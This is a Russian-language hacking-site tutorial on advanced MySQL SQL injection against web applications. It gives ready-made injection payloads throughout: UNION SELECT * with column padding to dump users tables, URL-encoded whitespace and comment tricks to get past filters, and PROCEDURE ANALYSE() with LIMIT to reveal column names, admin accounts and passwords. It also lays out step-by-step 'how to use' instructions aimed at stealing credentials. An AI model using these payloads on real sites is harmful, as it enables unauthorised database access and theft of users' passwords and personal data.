Новичку полезно

  • Баннер
  • А знаете ли вы что?

    - тот кто на каждом углу говорит что он является хакером, на самом деле является клоуном?


Advanced SQL Injection Techniques

Advanced SQL Injection Techniques, детали проведения SQL иньекции! tips and tricks

1. Вывод данных из таблицы, без указания имён столбцов

    Необходимые условия:
  1. Версия MySQL >= 4.0 (необходимо присутствие оператора union)
  2. SQL инъекция должна быть с выводом (слепые инъекции не подходят)
  3. Кол-во столбцов в уязвимом запросе меньше либо равно чем кол-во столбцов в таблице, данные из которой нужно вывести.
  4. Достаточно большое кол-во полей должно выводится из уязвимого запроса (чем больше, тем лучше).

Описание:

Иногда, можно столкнуться с такой проблемой, как незнание имени столбца в таблице, данные из которой нужно вывести (разумеется это будет актуальным только в 4 версиях мускула). Нашёл способ как это можно решить. Наверное ни для кого не секрет, что для того что бы вывести все поля из таблицы можно воспользоваться такой конструкцией:

select * from tables;

Так же все знают, что что бы объединить два запроса оператором union нужно что бы количество полей в обоих запросах совпадало:

select 1,2,3 union select 4,5,6;

Теперь представим случай когда количество полей в уязвимом запросе и в нужной нам таблице совпадают:

select id, title, text from news where id = 1 and 1=2 union select id, login, password from users;

Что равносильно этому:

select id, title, text from news where id = 1 and 1=2 union select * from users;

Как уже было сказано запросы равносильные и преимущество второго запроса в том, что имена колонок можно и не знать, что в большинстве случаев нам на руку. Это всё конечно замечательно, но случай когда количество полей в обоих запросах будет совпадать достаточно редкий.

Но, как выяснилось, такая конструкция будет рабочей:

select id, title, text, text2, text3 from news where id = 1 and 1=2 union select *,1,2 from users;

В результате на месте первых трёх полей будут данные из нужной нам таблицы (соответственно первое, второе и третье поле нужной таблицы), а на месте последних двух полей будут выведены цифры 1 и 2. Т.е. фактически мы можем выравнивать, таким вот образом, количество полей в обоих запросах и в результате выводить всю строку целиком не зная при этом имён столбцов.

Использовать конструкции:

select id, title, text, text2, text3 from news where id = 1 and 1=2 union select 1,2,* from users; 

или

select id, title, text, text2, text3 from news where id = 1 and 1=2 union select 1,*,2 from users;

нельзя - символ '*' должен находиться в начале.

    Как юзать:
  1. Находим инъекцию, желательно, если уязвимых запросов несколько (т.е. вы нашли несколько уязвимых скриптов) выбрать тот, в котором используется наибольшее количество полей (т.е. подбираем количество полей во всех инъекциях и смотрим в каком запросе используется большее количество полей) и одновременно с этим выводимых полей должно быть как можно больше.
  2. Подбираем количество полей в нужной нам таблице:
    select id, title, text, text2, text3 from news where id = 1 and 1=2 union select *,1,2,3,4 from users;

    если ошибка, то полей в таблице больше чем 1, идём дальше:

    select id, title, text, text2, text3 from news where id = 1 and 1=2 union select *,1,2,3 from users;

    если ошибка, то полей в таблице больше чем 2, идём дальше:

    select id, title, text, text2, text3 from news where id = 1 and 1=2 union select *,1,2 from users;

    и т.д., пока не подбирем количество при котором ошибки не будет, т.е. появятся данные.

    Не следует исключать случай, что кол-во полей в таблице с пользователями может быть больше чем количество полей, используемых в уязвимом запросе - тогда облом.

  3. Теперь, если инъекций много выбираем ту, в которой выводимых полей больше, особенно тех, что в начале т.к. поля из нужной нам таблицы будут помещены в начало.

Плюсы и минусы:

[+] - Можно выводить данные, не зная имён столбцов.
[+] - Выводя всю строку, можно увидеть данные которые могли не учитываться, к примеру наличие соли или статус пользователя или что нидь ещё, что так или иначе может пригодится.
[-] - Ксли из уязвимого запроса выводится мало полей, то часть данных мы просто не увидим. этим способом можно частично обойти:

select id, title, text, text2, text3 from news where id = 1 and 1=2 union select * from users, (select 1,2,3) as lala;

[-] - Возможна ситуация при которой понять что вывелось, крайней сложно.

2. Обход фильтрации: пробел (0x20). Недавно открыл для себя следующий trick, который может помочь в обходе фильтраций при проведениии SQL-injection в MySQL-сервере.

Общепринятое решение данной проблемы:

В MySQL пусто закрытый комментарий воспринимается как пробел:

-1/**/union/**/select/**/1,2,3,version(),4,5/*

Но в один прекрасный день эта фишка не прокатила из-за жесткой фильтрации слэшей. альтернатива есть. Еще один очень интересный метод заключается в том, что байты 0x09, 0x0A, 0x0B, 0x0C, 0x0D интерпретатор MySQL также обрабатывает как пробел:

-1%09union%09select%091,2,3,version(),4,5/*

Можно обходится без пробельных (любых разделяющих) символов вообще - используя скобки:

select(1),2,(3)from(user)where(id=1)

Или используя кавычки и тильду:

select`login`,2,'3'from`user`where`id`='1'

В таком случае имена таблиц и колонок обрамлять тильдами, а значения - кавычками. Значения можно так же обрамлять двойными кавычками.

3.SQL-инъекции и PROCEDURE ANALYSE()

PROCEDURE ANALYSE() - это процедура MySQL, которая исследует запрос и предлагает оптимальные типы данных для каждой колонки, участвующей в запросе. Процедура работает во всех версиях MySQL, начиная с третьей.

Синтаксис:

SELECT … FROM … WHERE … PROCEDURE ANALYSE([max_elements,[max_memory]])

При вызове процедуры, весь результат запроса переписывается и возвращаются следующие данные:

mysql> SELECT user_login, user_pass FROM wp_users WHERE ID=1 PROCEDURE ANALYSE();
2 rows in set (0.00 sec)

Ни один из аргументов PROCEDURE ANALYSE() не позволяет использовать подзапросы внутри них, однако процедуру можно использовать в SQL-инъекциях для получения имен колонок, которые участвуют в выборке, таблицы и текущей базы данных. Особенно это актуально для MySQL версии 4, где нет системной базы данных information_schema, хранящей информацию о всех БД, таблицах и их колонках. К сожалению, имеется ряд ограничений:

- процедура позволяет узнать имя только той таблицы, ее колонок и базы данных, которые непосредственно участвуют в запросе
- эти данные находятся в первом столбце (Field_name), и в такой ситуации многое зависит от конкретного веб-приложения - от того, как оно выводит данные, возвращаемые базой данных

Для перебора записей с необходимыми данными возможно использование оператора LIMIT:

SELECT user_login, user_pass FROM wp_users WHERE ID=1 PROCEDURE ANALYSE()

вернет первую запись при условии, что веб-приложение допускает получение нескольких записей, но выводит только первую

SELECT user_login, user_pass FROM wp_users WHERE ID=1 LIMIT 1,1 PROCEDURE ANALYSE()

вернет вторую запись (wp.wp_users.user_pass)

Кроме столбца Field_name интерес представляют Min_value, Max_value и Optimal_fieldtype, которые выводят содержание соответствующих столбцов. Эту возможность можно использовать в такой ситуации: имеется уязвимое веб-приложение, отображающее профили зарегистрированных пользователей; параметр ID не фильтруется;

запрос для получения данных из БД имеет вид:

SELECT * FROM users WHERE id=1

в таблице users имеются столбцы login и status, последний отвечает за уровень привилегий пользователя;

Таким образом, используя PROCEDURE ANALYSE() и LIMIT, становится возможным подобрать запись пользователя с привилегиями администратора, и выявить содержание недоступных столбцов, в частности с паролями и другой конфиденциальной информацией пользователей. Правда, как уже говорилось, успех зависит от того, как веб-приложение обрабатывает и выводит данные из БД.

Для работы с иьекциями вам понадобится программа, которая автоматически будет посылать запросы - SQL Injection Tool

Добавить комментарий








VK Стена

  • Новость: Хакерская группа #GhostShell объявила войну властям России
  • Пост: Новые сиськи в альбоме "Девушки" http://vk.com/album-1815460 ...
  • Новое фото в альбоме "Мемы/Тролфэйсы/Покетфэйсы и т.д."
  • Новость: #Anonymous похитили личные электронные письма офицеров полиции Англии
  • Новость: Что можно купить за 50 долларов
  • Новость: Хотите заработать денег?
  • Пост: Hacker с именем "LegitHacker97" заявил, что успешно взломал ...
  • Новость: Киберпреступность виновата в задержках новых продуктов #Microsoft
  • Новое фото в альбоме "Приколы"
  • Ссылка: Wikileaks начал публикацию уставов американских военных тюрем

Cтатистика

SMS.копилка

SMS.копилка

Orphus

Система Orphus